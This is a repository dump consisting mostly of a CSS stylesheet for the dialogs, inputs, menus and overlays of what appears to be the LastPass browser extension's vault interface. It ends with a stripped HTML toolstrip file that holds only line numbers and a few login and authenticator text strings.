375 | font-family: Monaco, Courier;
376 | }
377 |
378 | .dialogInput[size] {
379 | width: auto;
380 | }
381 |
382 | .dialogInput:focus {
383 | border-color: #84B7F8;
384 | outline: 1px solid #CCE0FD;
385 | }
386 |
387 | textarea.dialogInput {
388 | height: 100%;
389 | min-height: 120px;
390 | resize: none;
391 | overflow: auto;
392 | padding: 5px;
393 | }
394 |
395 | .dialogInputOverlay {
396 | position: absolute;
397 | top: 0;
398 | right: 0;
399 | bottom: 0;
400 | left: 0;
401 | background-color: rgba(225, 225, 225, .7);
402 | }
403 |
404 | /*
405 | ******* Search Input *******
406 | */
407 |
408 | .searchInput {
409 | padding-left: 45px;
410 | background-image: url("images/vault_4.0/Search.png");
411 | background-repeat: no-repeat;
412 | background-position: 10px center;
413 | }
414 |
415 | .searchCloseButton {
416 | display: none;
417 | cursor: pointer;
418 | background: url("images/vault_4.0/Search_Close.png") center center no-repeat;
419 | position: absolute;
420 | width: 40px;
421 | left: 0;
422 | top: 0;
423 | bottom: 0;
424 | }
425 |
426 | .searchInputContainer {
427 | position: relative;
428 | }
429 |
430 | .searchInputContainer.populated .searchCloseButton {
431 | display: block;
432 | }
433 |
434 | .searchInputContainer.populated .searchInput {
435 | background-image: none;
436 | }
437 |
438 | .searchCloseButton.inputDialog {
439 | width: 30px;
440 | background-size: 16px;
441 | }
442 |
443 | /*
444 | ******* Tables *******
445 | */
446 |
447 | table {
448 | border-collapse: collapse;
449 | width: 100%;
450 | }
451 |
452 | td {
453 | padding: 0 20px 0 20px;
454 | }
455 |
456 | .twoColumn {
457 | width: 50%;
458 | }
459 |
460 | .label {
461 | font-weight: 600;
462 | margin: 20px 0 5px 0;
463 | display: block;
464 | }
465 |
466 | .label.first {
467 | margin-top: 0;
468 | }
469 |
470 | .dialogMargin {
471 | margin-top: 20px;
472 | }
473 |
474 | .settings {
475 | width: 100%;
476 | height: 100%;
477 | }
478 |
479 | .settingLabel {
480 | text-align: right;
481 | padding: 0 20px 0 20px;
482 | font-weight: 600;
483 | }
484 |
485 | .dialogRightPane .settingLabel {
486 | width: 40%;
487 | }
488 |
489 | .setting {
490 | text-align: left;
491 | }
492 |
493 | .helpText {
494 | width: 150px;
495 | color: #FFF;
496 | background-color: #424A54;
497 | padding: 10px;
498 | position: absolute;
499 | right: 20px;
500 | border-radius: 4px;
501 | }
502 |
503 | .settingsContainer h1 {
504 | margin: 0 0 10px 0;
505 | font-size: 18px;
506 | }
507 |
508 | .settingsRow > td, .settingsHeader > th {
509 | height: 30px;
510 | padding-top: 10px;
511 | padding-bottom: 10px;
512 | border-width: 0 1px 0 0;
513 | border-style: solid;
514 | border-color: #D8D8D8
515 | }
516 |
517 | .settingsRow > td:last-child, .settingsHeader > th:last-child {
518 | border-width: 0;
519 | }
520 |
521 | .settingsRow {
522 | border: 1px solid #D8D8D8;
523 | margin-bottom: -1px;
524 | background-color: #FFF;
525 | }
526 |
527 | .settingsRow.odd {
528 | background-color: #FBFBFB;
529 | }
530 |
531 | .settingsHeader{
532 | background-color: #515151;
533 | color: #FFF;
534 | text-align: center;
535 | border-width: 1px 1px 0 1px;
536 | border-style: solid;
537 | border-color: #515151;
538 | }
539 |
540 | .topAlign {
541 | vertical-align: top;
542 | }
543 |
544 | .noteContent .settingsRow {
545 | border: none;
546 | margin: 0;
547 | }
548 |
549 | .noteContent td {
550 | padding: 0;
551 | height: 100%;
552 | }
553 |
554 | /*
555 | ******* Top Menu *******
556 | */
557 |
558 | .settingsTopMenu {
559 | margin-left: 240px;
560 | cursor: default;
561 | text-align: left;
562 | }
563 |
564 | .settingsTopMenu li {
565 | display: inline-block;
566 | vertical-align: top;
567 | padding: 0 10px 0 10px;
568 | }
569 |
570 | .settingsTopMenu li.selected {
571 | background-color: #AF0809;
572 | font-weight: 600;
573 | }
574 |
575 | /*
576 | ******* Left Menu *******
577 | */
578 |
579 | .dialogLeftMenu {
580 | width: 239px;
581 | position: absolute;
582 | top: 0;
583 | bottom: 0;
584 | left: 0;
585 | background-color: #F6F6F6;
586 | border: #BDC3CB;
587 | border-right: 1px solid #BDC3CB;
588 | cursor: default;
589 | }
590 |
591 | .dialogLeftMenu ul {
592 | margin-right: -1px;
593 | }
594 |
595 | .dialogLeftMenu li {
596 | border-bottom: 1px solid #BDC3CB;
597 | border-right: 1px solid #BDC3CB;
598 | line-height: 40px;
599 | padding-left: 20px;
600 | margin-right: -1px;
601 | cursor: pointer;
602 | }
603 |
604 | .dialogLeftMenu li.selected {
605 | background-color: #FFF;
606 | border-right: none;
607 | color: #D62D27;
608 | }
609 |
610 | .dialogLeftMenu li.error {
611 | background-image: url('images/vault_4.0/Input_Error.png');
612 | background-position: 95% center;
613 | background-repeat: no-repeat;
614 | }
615 |
616 | /*
617 | ******* Errors *******
618 | */
619 |
620 | .errorContainer {
621 | position: relative;
622 | }
623 |
624 | .dialogInput.errorInput {
625 | border-color: #D83F3F;
626 | background-color: #FFF6F6;
627 | background-image: url('images/vault_4.0/Input_Error.png');
628 | background-position: 5px center;
629 | background-repeat: no-repeat;
630 | padding-left: 23px;
631 | }
632 |
633 | .dialogError span {
634 | font-weight: 600;
635 | }
636 |
637 | .dialogError p {
638 | margin-bottom: 5px;
639 | }
640 |
641 | .dialogErrorWrapper {
642 | position: absolute;
643 | top: 100%;
644 | left: 0px;
645 | right: 0px;
646 | display: none;
647 | z-index: 1;
648 | }
649 |
650 | .dialogErrorWrapper.staticError {
651 | position: static;
652 | }
653 |
654 | .dialogError {
655 | background-color: #474747;
656 | color: #FFF;
657 | padding: 10px 10px 5px 10px;
658 | border-radius: 4px;
659 | font-size: 14px;
660 | box-shadow: 0 0 8px rgba(0, 0, 0, 0.5);
661 | }
662 |
663 | .errorTooltip {
664 | height: 5px;
665 | background: url('images/vault_4.0/Tooltip.png') 20px top no-repeat;
666 | position: relative;
667 | }
668 |
669 | /*
670 | ******* Date Inputs *******
671 | */
672 |
673 | .dateInputMonth {
674 | width: 50%;
675 | display: inline-block;
676 | }
677 |
678 | .dateInputDay {
679 | width: 15%;
680 | margin-left: 5%;
681 | }
682 |
683 | .dateInputYear {
684 | width: 25%;
685 | margin-left: 5%;
686 | }
687 |
688 | .monthYearDate .dateInputMonth {
689 | width: 70%;
690 | }
691 |
692 | /*
693 | ******* Confirmation Dialog *******
694 | */
695 |
696 | #confirmationDialog {
697 | max-width: 500px;
698 | }
699 |
700 | #confirmationDialog .dialogContent {
701 | padding: 20px 20px 0 20px;
702 | }
703 |
704 | #confirmationDialog .buttonsFixed {
705 | border-top: none;
706 | }
707 |
708 | #confirmationDialog p {
709 | margin-top: 10px;
710 | }
711 |
712 | #confirmationDialog p:first-child {
713 | margin-top: 0;
714 | }
715 |
716 | /*
717 | ******* Alert Dialog *******
718 | */
719 |
720 | #alertDialog {
721 | max-width: 500px;
722 | }
723 |
724 | /*
725 | ******* Upgrade Premium Dialog *******
726 | */
727 |
728 | #upgradePremiumDialog {
729 | max-width: 700px;
730 | }
731 |
732 | #upgradePremiumDialog .dialogContent {
733 | padding-bottom: 0;
734 | }
735 |
736 | /*
737 | ******* Vault Toggle Dialog *******
738 | */
739 |
740 | #vaultToggleDialog {
741 | max-width: 730px;
742 | }
743 |
744 | #vaultToggleDialog .dialogContent {
745 | padding: 20px 60px;
746 | text-align: center;
747 | }
748 |
749 | #vaultToggleDialog img {
750 | margin: 20px 0;
751 | }
752 |
753 | /*
754 | ******* Enterprise Trial *******
755 | */
756 |
757 | #enterpriseTrialDialog {
758 | max-width: 700px;
759 | }
760 |
761 | #enterpriseTrialDialog p {
762 | margin-top: 10px;
763 | }
764 |
765 | #enterpriseTrialDialog .dialogContent {
766 | padding-bottom: 0;
767 | }
768 |
769 | .imageContainer {
770 | margin-top: 20px;
771 | text-align: center;
772 | }
773 |
774 | /*
775 | ******* Deny Emergency Access *******
776 | */
777 |
778 | #denyEmergencyAccessDialog {
779 | max-width: 700px;
780 | }
781 |
782 | /*
783 | ******* Add Emergency Access *******
784 | */
785 |
786 | #addEmergencyAccessDialog {
787 | max-width: 700px;
788 | }
789 |
790 | /*
791 | ******* Enable Binary Component *******
792 | */
793 |
794 | #enableBinaryDialog {
795 | max-width: 700px;
796 | }
797 |
798 | #enableBinaryDialog .dialogContent, #verifyEmailDialog .dialogContent {
799 | padding-top: 10px;
800 | }
801 |
802 | #enableBinaryDialog p, #verifyEmailDialog p {
803 | margin-top: 10px;
804 | }
805 |
806 | #enableBinaryDialog .rbtn, #verifyEmailDialog .rbtn, #enterpriseTrialDialog .rbtn {
807 | width: auto;
808 | padding-left: 10px;
809 | padding-right: 10px;
810 | }
811 |
812 | #verifyEmailDialog {
813 | max-width: 600px;
814 | }
815 |
816 | /*
817 | ******* Form Field / Save All Entered Data View *******
818 | */
819 |
820 | .dialog.saveAll .usernamePasswordRow {
821 | display: none;
822 | }
823 |
824 | .dialog.saveAll .fieldsLabel {
825 | display: block;
826 | }
827 |
828 | .dialog.saveAll .odd {
829 | background-color: #FFF;
830 | }
831 |
832 | .fieldsLabel {
833 | display: none;
834 | }
835 |
836 | .formFieldsView {
837 | display: none;
838 | background-color: #FFF;
839 | position: absolute;
840 | top: 0;
841 | right: 0;
842 | bottom: 0;
843 | left: 0;
844 | padding: 20px;
845 | overflow: auto;
846 | }
847 |
848 | .formFieldValue {
849 | position: relative;
850 | }
851 |
852 | .formFieldValue > div {
853 | margin-right: 50px;
854 | }
855 |
856 | .formFieldValue .itemButtons {
857 | display: block;
858 | }
859 |
860 | #addFormFieldDialog {
861 | max-width: 400px;
862 | max-height: 435px;
863 | }
864 |
865 | #addFormFieldDialog .dialogContent {
866 | overflow: visible;
867 | }
868 |
869 | /*
870 | ******* Application Dialog *******
871 | */
872 |
873 | #applicationDialog {
874 | max-height: 605px;
875 | min-height: 215px;
876 | max-width: 800px;
877 | min-width: 485px;
878 | }
879 |
880 | #applicationDialog .dialogContent {
881 | padding: 0 0 20px 0;
882 | }
883 |
884 | /*
885 | ******* Change Password Dialog *******
886 | */
887 |
888 | #changePasswordDialog {
889 | max-width: 600px;
890 | max-height: 400px;
891 | }
892 |
893 | #changePasswordDialogSite {
894 | font-weight: 600;
895 | }
896 |
897 | /*
898 | ******* Invite Friends Dialog *******
899 | */
900 |
901 | #inviteFriendsDialog {
902 | max-width: 600px;
903 | max-height: 400px;
904 | }
905 |
906 | #inviteFriendsDialogContainer {
907 | margin-top: 20px;
908 | }
909 |
910 | /*
911 | ******* Overlays *******
912 | */
913 |
914 | .dialogInProcessOverlay {
915 | display: none;
916 | position: absolute;
917 | top: 0;
918 | right: 0;
919 | bottom: 0;
920 | left: 0;
921 | background-color: rgba(255, 255, 255, .5);
922 | background-image: url('images/vault_4.0/Loading.gif');
923 | background-position: center center;
924 | background-repeat: no-repeat;
925 | }
926 |
927 | .inProcess > .dialogInProcessOverlay {
928 | display: block;
929 | }
930 |
931 | .dialogBlurOverlay {
932 | display: none;
933 | position: absolute;
934 | top: 0;
935 | right: 0;
936 | bottom: 0;
937 | left: 0;
938 | background-color: rgba(51, 51, 51, .5);
939 | z-index: 1;
940 | }
941 |
942 | .tab .dialogBlurOverlay {
943 | background-color: rgba(255, 255, 255, .8);
944 | }
945 |
946 | .blurred > .dialogBlurOverlay {
947 | display: block;
948 | }
949 |
950 | /*
951 | ******* Advanced Options *******
952 | */
953 |
954 | .advancedOptionsLabel {
955 | background-image: url('images/vault_4.0/Advanced_Closed.png');
956 | background-position: left center;
957 | background-repeat: no-repeat;
958 | padding-left: 15px;
959 | cursor: pointer;
960 | }
961 |
962 | .advancedOptionsLabel.open {
963 | background-image: url('images/vault_4.0/Advanced_Open.png');
964 | }
965 |
966 | .advancedOptions {
967 | display: none;
968 | }
969 |
970 | /*
971 | ******* Action Buttons *******
972 | */
973 |
974 | .dialog > .buttons > .itemButtons {
975 | display: block;
976 | left: 20px;
977 | right: auto;
978 | height: 29px;
979 | }
980 |
981 | .dialog > .buttons .itemButton {
982 | background-color: #FFF;
983 | width: 19px;
984 | border: 1px solid #B8BFD1;
985 | }
986 |
987 | .favButton {
988 | display: none;
989 | }
990 |
991 | .favButtonLabel {
992 | background-image: url('images/vault_4.0/Favorite.png');
993 | }
994 |
995 | .favButton:checked + .favButtonLabel{
996 | background-image: url('images/vault_4.0/Favorite_Selected.png');
997 | }
998 |
999 | .actionButtonContainer {
1000 | height: 100%;
1001 | display: inline-block;
1002 | }
1003 |
1004 | .actionCell {
1005 | padding: 0;
1006 | position: relative;
1007 | }
1008 |
1009 | .actionCell .itemButtons {
1010 | display: block;
1011 | }
1012 |
1013 | .actionCell .itemButton {
1014 | background-color: #FFF;
1015 | border: 1px solid #C7C7C7;
1016 | }
1017 |
1018 | /*
1019 | ******* Loading Overlay *******
1020 | */
1021 |
1022 | #dialogLoadingOverlay {
1023 | background-color: rgba(255, 255, 255, .3);
1024 | background-image: url('images/vault_4.0/Loading.gif');
1025 | background-position: center center;
1026 | background-repeat: no-repeat;
1027 | }
1028 |
1029 | .dialogLoading #dialogLoadingOverlay {
1030 | display: block;
1031 | }
1032 |
--------------------------------------------------------------------------------
/chrome4/lp_toolstrip.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
Google Authenticator Multifactor Authentication
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
Login to LastPassLastPass
17 |
18 |
55 |
56 |
90 |
103 |
119 |
139 |
165 |
193 |
209 |
225 |
226 |
227 |
260 |
261 |
262 |
--------------------------------------------------------------------------------